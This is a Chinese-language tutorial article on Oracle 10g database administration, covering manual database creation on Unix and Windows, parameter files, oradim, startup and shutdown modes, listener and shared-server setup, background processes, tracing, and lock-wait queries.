方法三:在参数文件中查询。 数据库服务名与网络连接从oracle8i开如的oracle网络组件,数据库与客户端的连接主机串使用数据库服务名。之前用的是ORACLE_SID,即数据库实例名 创建Oracle数据库(以Oracle10g为例) 有两种创建数据库的方式,一种是以命令行脚本方式,即手动方式创建;另一种是利用Oracle提供的数据库配置向导来创建。本篇主要介绍在Unix和Windows下以命令行脚本方式创建Oracle数据库。 一个完整的数据库系统,应包括一个物理结构、一个逻辑结构、一个内存结构和一个进程结构,如果要创建一个新的数据库,则这些结构都必须完整的建立起来。 一、在Unix下创建数据库 1.确定数据库名、数据库实例名和服务名 关于数据库名、数据库实例名和服务名,我之前有专门用一篇来详细介绍。这里就不再说明了。 2.创建参数文件参数文件很确定了数据库的总体结构。Oracle10g有两种参数文件,一个是文本参数文件,一种是服务器参数文件。在创建数据库时先创建文本参数文件, 在数据库创建后,可以由文件参数文件创建服务器参数文件。文本参数文件的取名方式为initORACLE_SID.ora,其中,ORACLE_SID是 数据库实例名。其名称及路径为: /home/app/oracle/product/10.1.0/admin/DB_NAME/pfile/initORACLE_SID.ora 其中,DB_NAME为数据库名。所以,应创建一个以之命名的目录,并将文本参数文件存放在上述目录中。假设新创建的数据库名为MYORACLE,SID与数据库名一致。则上述目录实际为: /home/app/oracle/product/10.1.0/admin/MYORACLE/pfile/initMYORACLE.ora 1)参数文件的介绍 参数文件决定着数据库的总体结构,用于设置数据库的近260个系统参数。下面分类别说明一下各参数的作用,关于参数的详细使用说明请参考Oracle官方参考文档。 a.数据库标识类参数DB_NAME: 数据库名,此参数在创建数据前决定,数据库创建后修改时,必须建控制文件 DB_DOMAIN: 数据库域名,用于区别同名数据库。数据库名与域名一起构成了全局数据库名 INSTANCE_NAME: 数据库实例名,可以与数据库相同 SERVICE_NAMES: 数据库服务名,与全局数据库名相同如果没有域名,则服务名就是数据库名 b.日志管理类参数 LOG_ARCHIVE_START: 是否启动自动归档进程ARCH LOG_ARCHIVE_DEST: 归档日志文件存储目录 LOG_ARCHIVE_FORMAT: 归档日志文件的默认文件存储格式 LOG_ARCHIVE_DUPLEX_DEST: 归档日志文件镜像存储目录(Oracle8以上) LOG_ARCHIVE_DEST_n: 归档日志文件存储目录(Oracle8i以上) LOG_ARCHIVE_DEST_STATE_n: 设置参数LOG_ARCHIVE_DEST_n失效或生效 LOG_ARCHIVE_MAX_PROCESSES: 设置自动归档进程的个数 LOG_ARCHIVE_MIN_SUCCEED_DEST: 设置最少的成功归档日志存储目录的个数 LOG_CHECKPOINT_INTERVAL: 根据日志数量设置检验点频率 LOG_CHECKPOINT_TIMEOUT: 根据时间间隔设置检验点频率 c.内存管理参数DB_BLOCK_SIZE: 标准数据块大小 DB_nK_CACHE_SIZE: 非标准数据块数据缓冲区大小 SHARED_POOL_SIZE: 共享池大小控制参数,单位为字节 DB_CACHE_SIZE: 标准数据块数据缓冲区大小 DB_BLOCK_BUFFERS: 数据缓冲区大小,9i之后已放弃使用 LOG_BUFFER: 日志缓冲区大小 SORT_AREA_SIZE: 排序区大小 LARGE_POOL_SIZE: 大池大小 JAVA_POOL_SIZE: Java池大小 d.最大许可用户数量限制参数LICENSE_MAX_SESSIONS:数据库可以连接的最大会话数 LICENSE_MAX_USERS:数据库支持的最大用户数 LICENSE_MAX_WARNING:数据库最大警告会数(会话数据达到这个值时,产生新会话时就会产生警告信息) e.系统跟踪信息管理参数 USER_DUMP_DEST:用户跟踪文件生成的设置 BACKGROUND_DUMP_DEST:后台进程跟踪文件生成的位置 MAX_DUMPFILE_SIZE:跟踪文件的最大尺寸 f.系统性能优化与动态统计参数SQL_TRACE:设置SQL跟踪 TIMED_STATICS:设置动态统计 AUDIT_TRAIL:启动数据库审计功能 g.其他系统参数 CONTROL_FILES:控制文件名及路径 Undo_MANAGMENT:Undo空间管理方式 ROLLBACK_SEGMENTS:为这个例程分配的回退段名 OPEN_CURSORS:一个用户一次可以打开的游标的最大值 PROCESSES:最大进程数,包括后台进程与服务器进程 IFILE:另一个参数文件的名字 DB_RECOVERY_FILE_DEST:自动数据库备份目录 DB_RECOVERY_FILE_SIZE:数据库备份文件大小 2)参数文件样式db_name=myoracle instance_name=myoracle db_domain=fangys.xiya.com service_names=myoracle.fangys.xiya.com control_files=(/home/app/oracle/product/10.1.0/oradata/myoracle/control01.ctl, /home/app/oracle/product/10.1.0/oradata/myoracle/control02.ctl, /home/app/oracle/product/10.1.0/oradata/myoracle/control03.ctl) db_block_size=8192 user_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/udump background_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/bdump core_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/cdump db_recovery_file_dest=/home/app/oracle/product/10.1.0/flash_recover_area db_recovery_file_size=100G ... 3.设置操作系统参数 $ORACLE_SID=myoracle $export ORACLE_SID 4.启动实例并创建数据库在创建数据库之前,首先要以新的数据库参数启动数据库实例,因为这时数据库的控制文件还没有产生,不能MOUNT或OPEN数据库。启动实例时,Oracle只按照内存参数分配SGA区,启动系统后台进程。 $sqlplus "sys/pass as sysdba" sql>startup nomount 如果参数文件不在规定的目录中,可以在启动实例时指定参数文件: sql>startup pfile=/export/home/user/initmyoracle.init nomount 在实例启动后就可以使用CREATE DATABASE命令创建数据。其详细语法请参考Oracle官方SQL参考文档。这里以实例来介绍: sql>CREATE DATABASE myoracle MAXINSTANCE 1 MAXLOGHISTORY 216 MAXLOGFILES 50 MAXLOGMEMBERS 5 DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/system01.dbf' SIZE 500m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED LOGFILE GROUP 1('/home1/app/oracle/product/10.1.0/oradata/myoracle/log1a.log', '/home1/app/oracle/product/10.1.0/oradata/myoracle/log1b.log') SIZE 10m, GROUP 2('/home1/app/oracle/product/10.1.0/oradata/myoracle/log2a.log', '/home1/app/oracle/product/10.1.0/oradata/myoracle/log2b.log') SIZE 10m, GROUP 3('/home1/app/oracle/product/10.1.0/oradata/myoracle/log3a.log', '/home1/app/oracle/product/10.1.0/oradata/myoracle/log3b.log') SIZE 10m, Undo TABLESPACE undotbs DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/undotbs01.dbf' size 200m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED DEFAULT TEMPORARY TALESPACE temp TEMPFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/temp01.dbf' size 325m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED DEFAULT TABLESPACE users DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/usertbs01.dbf' size 1000m CHARACTER SET ZHS16GBK; 这里说明一下CREATE DATABASE语句的各个关键字的含义: DATAFILE:SYSTEM表空间的数据文件定义 LOGFILE:日志文件组的定义 Undo_TABLESPACE:重做表空间的定义 DEFAULT TEMPORTY TABLESPACE:默认临时表空间的定义 DEFAULT TABLESPACE:默认数据表空间的定义。 5.创建数据字典 在数据库创建结束后,数据库自动处于OPEN状态下,这时所有V$××××类数据字典都可以查询。而其它数据字典,如DBA_DATA_FILES、DBA_TABLESPACES等都不存在,必须通过下列骤为系统创建数据字典。 1)加载常用的数据字典包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/catalog 2)加载PL/SQL程序包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/admin/catproc 3)加载数据复制支持软件包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/admin/catrep 4)加载Java程序包 sql>@/home/app/oracle/product/10.1.0/db_1/javavm/install/initjvm 5)加载系统环境文件 sql>connect system/pass sql>@/home/app/oracle/product/10.1.0/db_1/sqlplus/admin/pupbld 二、在Windows下创建数据库Oracle实例在Windows下表现为操作系统服务。在windows下,使用命令行方式创建数据的方法有所不同,差别在于在Windows下,需要先创建数据库服务和实例。 1.确定数据库名、数据库实例名和服务名并创建目录(DBCA创建的脚本不包含建立目录命令,须自己创建)建立目录命令(下面以 db_name=eygle为例): mkdir D:/oracle/ora90/cfgtoollogs/dbca/eygle mkdir D:/oracle/ora90/database mkdir d:/oracle/admin/eygle/adump mkdir d:/oracle/admin/eygle/bdump mkdir d:/oracle/admin/eygle/cdump mkdir d:/oracle/admin/eygle/dpdump mkdir d:/oracle/admin/eygle/pfile mkdir d:/oracle/admin/eygle/udump mkdir d:/oracle/flash_recovery_area mkdir d:/oracle/oradata mkdir d:/oracle/oradata/eygle 2.创建参数文件 在Windows下的参数文件名称及路径如下: d:/oracle/product/10.1.0/admin/DB_NAME/pfile/init.ora(oracle10g) d:/orant/database/iniORACLE_SID.ora(oracle7,oracle8) 参数据文件内容与前述一致。这里不再说明。 3.选择数据库实例设置环境变量ORACLE_SID c:/>set ORACLE_SID=数据库实例名 4.创建数据库实例在Windows中创建数据库实例的命令为Oradim.exe,是一个可执行文件,可以在操作系统符号下直接运行。直接输入oradim显示此命令的帮助。 c:/>Oradim 下面对Oradim命令的参数进行一个说明 ------------------------------- -NEW 表示新建一个实例 -EDIT 表示修改一个实例 -DELETE 表示删除一个实例 -SID sid 指定要启动的实例名称 -SRVC service 指定要启动的服务名称 -INTPWD password 以Internal方式连接数据库时的口令字 -MAXUSERS count 该实例可以连接的最大用户数 -USRPWD password 指定内部用户的口令,如是作为Windows管理登录,不用此参数 -PFILE pfile 该实例所使用的参数文件名及路径 -STARTTYPE srvc|inst|srvc,inst 启动选项(srvc:只启动服务,inst:启动实例,服务必须先启动,srvc,inst:服务和实例同时启动) -SHUTTYPE srvc|linst|srvc,inst 关闭选项(srvc:只关闭服务,实例必须已关闭,inst:只关闭实例,srvc,inst:服务和实例同时关闭) -STARTMODE a|m 创建实例所使用的模式(a:自动,即windows启动时自动启动 m:手动) -SHUTMODE a|i|m 关闭实例时所使用的模式(a:abort异常方式,i:immediate立即方式,n:normal正常方式) ---------------------------- 例:创建一个数据库实例 c:/>oradim -NEW -SID myoracle -STARTMODE m -PFILE "d:/fangys/initmyoracle.ora" 或 c:/>oradim -NEW -SRVC OracleServicemyoracle -STARTMODE m -PFILE "d:/fangys/initmyoracle.ora" 例:修改一个数据实例 c:/>oradim -EDIT -SID myoracle -STARTMODE a 或 c:/>oradim -EDIT -SRVC OracleServicemyoracle -STARTMODE a 例:删除一个实例 c:/>oradim -DELETE -SID myoracle 或 c:/>oradim -DELETE -SRVC Oracleservicemyoracle 例:启动服务与实例 c:/>oradim -STARTUP -SID myoracle -STARTTYPE srvc,inst 只启动服务 c:/>oradim -STARTUP -SID myoracle -STARTTYPE srvc 启动实例: c:/>oradim -STARTUP -SID myoracle -STARTTYPE inst 例:关闭服务与实例 c:/>oradim -SHUTDOWN -SID myoracle c:/>oradim -SHUTDOWN -SID myoracle -SHUTTYPE srvc,inst 5.启动实例并创建数据库c:/>oradim -NEW -SID myoracle -INTPWD syspass -STARTMODE a -PFILE d:/fangys/initmyoracle.ora c:/>set ORACLE_SID=myoracle c:/>sqlplus sys/syspass as sysdba sql>startup -pfile=d:/fangys/initmyoracle.ora nomount sql>CREATE DATABASE myoracle logfile group... ... 6.创建数据字典 sql>@d:/oracle/product/10.1.0/db_1/rdbms/admin/catalog.sql; sql>@d:/oracle/product/10.1.0/db_1/rdbms/admin/catproc.sql; sql>@d:/oracle/product/10.1.0/db_1/rdbms/admin/catrep.sql; sql>@d:/oracle/product/10.1.0/db_1/javavm/install/initjvm.sql; sql>@d:/oracle/product/10.1.0/db_1/sqlplus/admin/ppbld.sql; 一、启动数据$sqlplus "sys/pass as sysdba" sql>startup 二、启动监听器数据库启动后,如果未启动监听进程,则客户端无法与数据库连接。监听进程的启动方法为: $lsnrctl start 在widnows中,可以从服务列表中启动监听器。 监听里程配置文件为listener.ora,位于目录/home/app/oracle/product/10.1.0/db1/network/admin/。 此配置文件分为两部分,一部分为监听程序本身的配置,包括协议,地址,端口号等;另一部分为监听程序所连接的数据库的实例信息,包括:实例名,全局数据库名,oracle主目录等。监听器可以利用oracle net config 向导来配置。 要显示监听器的运行状态:$lsnrctl status; 要停止监听器:$lsnrctl stop。 三、数据库的启动过程 分为三个阶段: 1. 启动实例,包括以下操作: 1) 读取参数文件 2) 分配SGA 3) 启动后台进程 2.装载数据库 装载数据库是将数据库与已启动的实例相联系。数据库装载后,数据库保持关闭状态。 3.打开数据库 此步骤使用数据库可以进行正常的操作的处理。主要是打开控制文件,数据库文件和日志文件。 四、数据库启动参数 1.NOMOUNT:只启动实例,不装载数据库 sql>startup nomount 2.MOUNT:启动实例,并装载数据,但不打开数据库 sql>startup mount 3.READ ONLY:将数据库置为只读 sql>startup mount sql>alter database open read only 4.READ WRITE:以可读写方式打开数据,这是默认方式 sql>startup mount sql>alter database open read write 5.OPEN:打开数据库,这是默认方式 sql>startup mount sql>alter database open; 6.RESTRICT:以受限方式打开,只有具有RESTRICTED SESSION权限的用户才可以连接数据库 sql>startup restrict 7.PFILE:启时指定参数文件 sql>startup pfile=/u02/user/mypfile.ora 8.FORCE:以强制方式启动数据库 sql>startup pfile=/u02/user/mypfile.ora open restrict force 五、数据库的关闭与启动过程相对应,关闭包括三个过程 1).关闭数据库 2).卸载数据库 3).关闭数据库实例 1.NORMAL关闭方式 NORMAL关闭方式是正常关闭方式,是默认关闭方式。在这种关机方式下,数据库服务器必须等待所有客户端从Oracle中正常退出时,才可以关闭数据库。 SQL>SHUTDOWN NORMAL 2.IMMEDIATE关闭方式 使用这种方式关闭数据库时,系统将连接到数据库的所有用户尚未提交的事务全部回退,中断连接,然后关闭数据库。 SQL>SHUTDOWN IMMEDIATE 3.ABORT关闭方式 ABORT关闭方式为异常方式,使用这种方式关闭数据库时,系统立即将数据库实例关闭,对事务膛数据完整性不作检查。是最快的关机方式。 sql>shutdown abort; 4.TRANSACTIONAL关闭方式 在这种关机方式中,数据库必须等待所有的客户运行的事务结束,提交或回退。 sql>shutdown transactional   Oracle数据库的连接结构有三种:1) 组合用户与服务器结构:在这种连接方式中,客户端与服务器同处一台机器中,对于每一个用户,其库应用程序与服务器程序组合成单个服务器进程。 2) 专用服务器(Dedicated Server)结构:在这种方式中,对于每一个用户,其数据库应用是由用户进程所运行,并有一个专用服务器进程为之服务,执行Oracle服务器代码。 3) 多线程服务器(Multithreaded Server)体系结构:在这种方式中,一个或多个客户应用程序共享一组服务器进程,与专用服务器不同的是,客户和服务器进程不是一对一的关系,而是由调度进程对多个服务器进程进行调度,以服务来自客户应用的连接请求。 专用服务器 专用服务器的工作过程: 1) 客户端通过oracle net向监听器发连接请求 2) 监听器收到请求并将此请求导向服务器,服务器向用户返回一个连接成功信息,并为此用户创建一个专用服务器进程 3) 客户直接与该专用服务器进程进行交互,处理SQL,并且服务器在该会话的PGA中建立一个专用SQL区。 如果客户端要求建立专用服务器连接方式,可以修改客户羰的网络配置文件tnsnames.ora或修改连接描述串。增加关键字“Server=DEDICATED”,如: prod= (DESCRIPTION= (ADDRESSLIST= (ADDRESS= (PROTOCOL=TCP)(HOST=192.168.0.3)(PORT=1521) (SERVER=DEDICATED) ) ) (CONNECT_DATA=(SID=PROD) ) ) 还必须修改SQLNET.ORA文件,增加“USE_DEDICATED_SERVER=TRUE” 多线程服务器体系结构 专用服务器结构中,一个服务器进程只为一个客户服务。这样的话,如果有一千个客户,就需要有一千个对应的服务器进程,就会耗费大量的系统资源。为了支 持对于可伸缩性的需求,在oracle7中引入了多线程服务器(MTS,也称为共享服务器)。下面说明共享服务器建立连接的过程,以级与建立专用服务器连 接过程的不同: 1) 客户通过网络与监听器联系 2) 监听器检测到请求,基于Oracle net结构来确定是否与多线程服务器连接。监听器将客户请求导向相应的调度程序。 3) 监听器通过使客户与调度程序了解对方的网络地址,从面完成了双方的介绍。 4) 一旦客户与调度程序知道如何找到对方,它们就直接通信,不要需要监听器。客户直接将操作请求发送给高度程序。 5) 调度程序将客户请求放在SGA的请求队列中。 6) 下一个可用的共享服务器进程从请求队列中读取请求,进行相应的工作。 7) 共享服务器进程将结果存放在提交相应请求的调度程序的响应队列中。 8) 调度程序从响应队列中读取数据并将结果送组客户。    有几个概念在这里作个补充说明:1) 监听器(Listener):为一个或多个实例“监听”连接请求,它是oracle客户与服务器的中介。监听器不是Oracle实例的一部分,它的作用是将连接的请求导向相应的实例。 2) 调度程序(dispatcher):在MTS体系结构中,监听器与调度程序联系,调度程序负责调度MTS中的各个共享服务器进程。 多线程服务器的设置参数有: MTS_SERVICE:多线程服务器名称,一般为数据库名 MTS_DISPATCHERS:初始调度器个数 MTS_MAX_DISPATCHERS:调度器最大个数 MTS_SERVERS:共享服务器个数 MTS_MAX_SERVERS:最大共享服务器个数 多线程服务器的设置是通过对以上各个参数的设置完成的。格式如下: MTS_SERVICE=RS MTS_SERVERS=10 MTS_MAX_SERVERS=100 MTS_DISPATCHERS="(PROTOCOL=TCP)(POOL=YES)(MULT=YES)" MTS_DISPATCHERS="(PROTOCOL=IPX)(POOL=YES)(MULT=YES)" MTS_DISPATCHERS="(PROTOCOL=IPC)(POOL=YES)(MULT=YES)" MTS_MAX_DISPATCHERS=100 有关多线程服务器的数据字典如下: V$MTS V$DISPATCHER V$SHARED_SERVER V$CIRCULT 各字典的详细说明请参考Oracle文档。 Oracle实例的进程结构 这里所讲的里程是指Unix系统中的进程,在Windows中,Oracle是一个操作系统服务。 Oracle实例由内存区域和后台进程组成。 Oracle实例分为单进程实例(一个进程执行全部的Oracle代码,只允许单个用户存取)和多进程实例(由多个进程执行Oracle代码的不同部分,对于每一个连接的用户都有一个进程,允许多个用户同时使用)。 在多进程结构中,除服务器进程(请注意,此“服务器进程”不是指所有的实例中的进程,见下面的说明)外,还有其他后台进程,包括:Dnnn, DBWR, LGWR,ARCH,PMON,SMON,CKPT,RECO等。在数据库启动后,这些进程常驻操作系统。Oracle中所有进程的数量之和不能超过参数 PROCESS设定的值: sql>show parameter process 当Oracle客户端应用程序与Oracle实例连接的时候,Oracle会产生一个服务器进程来为这些客户服务,此进程在widnows下表现为线程。 此进程的主要作用有:对于用户发出的SQL语句进行语法分析,编译,执行用户的SQL语句,如是数据块不在数据缓冲区时,则从磁盘数据文件将数据读入到 SGA的共享数据缓冲区中,将SQL语句的执行结果返回组应用程序。下面的语句用来查询数据库中的用户会话信息。 sql>select substr(s.sid,1,3) sid,substr(s.serial#,1,5) ser,spid,substr(schemaname,1,10) schema,substr(type,1,3) typ,substr(decode((consistent_gets+block_gets),0,'None',(100*(consistent_gets+block_gets-physical_reads)/consistent_gets+block_gets))),1,4) "%hit",value cpu,substr(block_changes,1,5) bchng from v$process p,v$sesstat t,v$sess_io i,v$session s where i.sid=s.sid and p.addr=paddr(+) and s.sid=t.sid and t.statistic#=12; 结果中: sid 表示会话ID号, ser 表示会话serial#号,serial#与sid组合以唯一表示一个会话, spid 表示操作系统进程号, schema 表示数据库用户名, typ 表示进程类型,use为用户进程,bac为后台进程 %hit 表示数据缓冲区命中率, cpu 表示使用cpu的时间, bchng 表示修改了的数据块的个数。 下面介绍各个后台进程 1. DBWR进程 DBWR(Database Writer)进程将缓冲区中的数据写入数据文件,负责数据缓冲区的管理。 当数据缓冲区中的一个数据被修改后,被标记为“脏”,DBWR进程负责将“脏”数据写入磁盘。 DBWR采用LRU算法来替换数据缓冲区中的数据。 DBWR的作用包括: 1) 管理数据缓冲区,以便服务器进程总能找到空闲缓冲区 2) 将所有修改后的缓冲区中的数据写入数据库文件 3) 使用LRU算法将最近使用过的块保留在内存中 4) 通过延迟写来优化磁盘i/o. 在下列情况下DBWR要将脏数据写入磁盘数据文件: 1) 当一个服务器进程将缓冲数据块移“脏表”,面该脏表达到一定程度进。(该临界长度由参数DB_BLOCK_WRITE_BATCH决定) 2) 当一个服务器进程在LRU表中查找DB_BLOCK_MAX_SCAN_CNT缓冲区时,没有查到空闲的缓冲区 3) 出现超时 4) 检查点发生时 在一个Oracle实例中,允许启动多个DBWR进程,DBWR进程个数由参数DB_WRITE_PROCESSES指定,上限为20,进程名依次自动命名为:DBW0,DBW1,DBW2...DBW19。 sql>show parameter processes 2. LGWR进程 LGWR(Log Writer)进程将日志数据从日志缓冲区中写入磁盘日志文件中。 关于LGWR进程的工作时机可以看我写的第一篇《一次事务过程》。 LGWR的写盘条件是: 1) 发生提交,即commit; 2) 日志缓冲区达到总数的1/3时; 3) 超时; 4) DBWR进程需要为检验点清除缓冲区时。 每一个Oracle实例只有一个LGWR进程。 LGWR将日志信息同步的写入到日志文件组的多个日志成员中,如果组中的一个成员文件被删除或不可使用,LGWR将日志信息继续写到该组的其他文件中,不影响数据库的运行。 3. SMON进程 SMON(System Monitor),系统监控进程,在实例启动时执行实例恢复,并负责清理不再使用的临时段。 4. PMON进程 PMON(Process Monitor),进程监控里程,在服务器进程出现故障时执行进程恢复,负责清理内存内存和释放该进程所使用的资源。 5. ARCH进程 ARCH(Archive Process,归档进程)在日志存满时将日志信息写到磁盘或磁带,用于介质失败时的恢复。 日志信息首先产生于日志缓冲区,再由日志写入进程LGWR将日志数据写入日志文件组,日志切换时,由归档进程ARCH将日志数据从日志文件组中写入归档日志中。 在 一个数据库实例中,归档进程最多可以启动10个,进程名依次自动命名为ARC0,ARC1,ARC2...ARC9,设置方法是:在参数文件中增加 参数LOG_ARCHIVE_MAX_PROCESSES。关于如何启用数据库的自动归档,在前面的《物理结构》一篇中已有说明,这里说明一个几个相关的 参数: 1) LOG_ARCHIVE_DEST:用于设置归档日志的文件存储目录 2) LOG_ARCHIVE_DUBLEX_DEST:用于设置归档日志文件的镜像存储目录,此参数在oracle 8及以上的版本中支持 3) LOG_ARCHIVE_DEST_n:用于设置更多的镜像目录,其中,1<=n<=10,该参数有以下三个选项: (1)MANDATORY:表示必须完成此目录的归档,才可以切换。 (2)REOPEN:归档目录或介质失败后,需等多长时间能重新写入日志,默认时间为300秒。 (3)OPTIONAL:不管是否归档完成都进行切换,这是默认方式 举例如下: LOG_ARCHIVE_DEST_1='LOCATION=/u01/oracle/archive/ MANDATORY REOPEN=500' LOG_ARCHIVE_DEST_2='LOCATION=/u02/oracle/archive/ OPTIONAL' LOG_ARCHIVE_DEST_n只适用于oracle 8i及以上的版本。 4) LOG_ARCHIVE_DEST_STATE_n:用于对归档日志目录进行失效或生效,该参数与LOG_ARCHIVE_DEST_n一一相对应。如: LOG_ARCHIVE_DEST_STATE_1=DEFER LOG_ARCHIVE_DEST_STATE_2=ENABLE 此参数可以在线设置: sql> ALTER SYSTEM SET LOG_ARCHIVE_DEST_STATE_1=DEFER; 此参数只适用于oracle 10g及以上版本。 6. CKPT进程 CKPT(CheckPoint,检查点)进程出现时,系统对全部数据库文件及控制文件的文件头的同步号进行修改,以保证数据库的同步。 以下两个参数是对CKPT有影响的: LOG_CHECKPOINT_TIMEOUT:决定产生一个检验点的时间间隔,单位为秋,默认为1800; LOG_CHECKPOINT_INTERVAL:执行一个检验点需要填充的日志文件块的数目,默认为0,表示不起作用。 系统对于数据库的改变信息用系统改变号SCN表示,SCN也叫检验点号,在日志中用CHECKPOINT_CHANGE#表示,它是数据文件,日志文件,控制文件的同步的同步依据,同时存储在这三个中,在系统改变时,检验点号也会同时改变。 引起CKPT产生的主要时机有: 1)日志切换时 2)达到LOG_CHECKPOINT_TIMEOUT指定的间隔时间 3)达到LOG_CHECKPOINT_INTERVAL指定的日志块数 4)数据库关闭 5)DBA强制产生 6)表空间OFFLINE时 7. RECO进程 RECO(Recover,恢复)进程用于分布式数据库系统,RECO进程自动地解决在分布式数据库中的事务故障。 8. LCKn进程 LCKn(锁进程)用于Oracle并行服务器环境下,用于多个实例间的封锁,该进程最多可以启动10个。 9. Dnnn进程 Dnnn(Despatcher,调度)进程。用于多线程服务器体系结构中。 10. SNP进程 SNP是作业进程,主要用于分布式数据库中,进行数据库之间快照的自动刷新,并同时通达DBMS_JOB程序包自动运行预定的存储过程,SQL,PL/sql程序等。有两个参数用来控制作业进程的计划: 1) JOB_QUEUE_PROCESS:用于设置作业进程个数 2) JOB_QUEUE_INTERVAL:用于设置作业进程被周期性唤醒的时间间隔 后台进程跟踪信息 所有修改数据库结构的命令会自动被后台进程跟踪记录,跟踪信息由oracle后台进程自动存储,跟踪文件的名称为alter_SID。此文件的存储目录由参数BACKGROUND)DUMP_DEST指定。 可以用工具命令TKPROF来格式化跟踪文件,如: $tkprof oralogfile1.log 除了跟踪后台进程外,还可以启用参数SQL_TRACE对用户的语句进行跟踪。修改参数文件: TIMED_STATISTICS=TRUE USER_DUMP_DEST=目录名 MAX_DUMP_FILE_SIZE=5M SQL_TRACE=TRUE 或者: SQL>ALTER SESSION SET SQL_TRACE=TRUE对当前会话进行SQL跟踪。 锁等待问题与KILL SESSION 为了保证数据的一致性,系统提供锁机制。有关锁的概念可以参数《数据库系统概论》一书。要了解当前在等待锁资源的用户: sql>select a.username,a.sid,a,serial#,b.id1 from v$session,v$lock where a.lockwait=b.kaddr; 要了解锁住其它用户的用户进程: SQL>SELECT A.USERNAME,A.SID,A,SERIAL#,B.ID1 FROM V$SESSION A,V$LOCK B WHERE B.ID1 IN (SELECT DISTINCT E.ID1 FROM V$SESSION D,V$LOCK E WHERE D.LOCKWAIT=E.KADDR) AND A.SID=B.SID AND B.REQUEST=0;
文章
SQL  ·  存储  ·  监控  ·  关系型数据库  ·  数据库  ·  Windows
2013-08-29
跳转至:
开发与运维
5768 人关注 | 133251 讨论 | 318625 内容
+ 订阅
  • 二进制程序是什么意思?底层原理是什么?
  • W3C是干什么的?底层原理是什么?
  • web开发标准是什么意思?底层原理是什么?
查看更多 >
数据库
252935 人关注 | 52043 讨论 | 98886 内容
+ 订阅
  • 网站服务器是干什么的?底层原理是什么?
  • web应用是什么意思?底层原理是什么?
  • gitlab是编译安装好还是yum安装好?底层原理是什么?
查看更多 >
安全
1243 人关注 | 24115 讨论 | 85565 内容
+ 订阅
  • 网站备案是说域名备案还是服务器备案?底层原理是什么?
  • Linux服务器搭建gitlab需要什么配置?
  • gitlab是干什么的?底层原理是什么?
查看更多 >
云原生
234320 人关注 | 11586 讨论 | 47288 内容
+ 订阅
  • gitlab是编译安装好还是yum安装好?底层原理是什么?
  • gitlab是干什么的?底层原理是什么?
  • 云原生计算基金会是干什么的?底层原理是什么?
查看更多 >
微服务
23043 人关注 | 11686 讨论 | 35036 内容
+ 订阅
  • 云原生计算基金会是干什么的?底层原理是什么?
  • 微博评论功能系统设计
  • Spring Boot Actuator集成demo
查看更多 >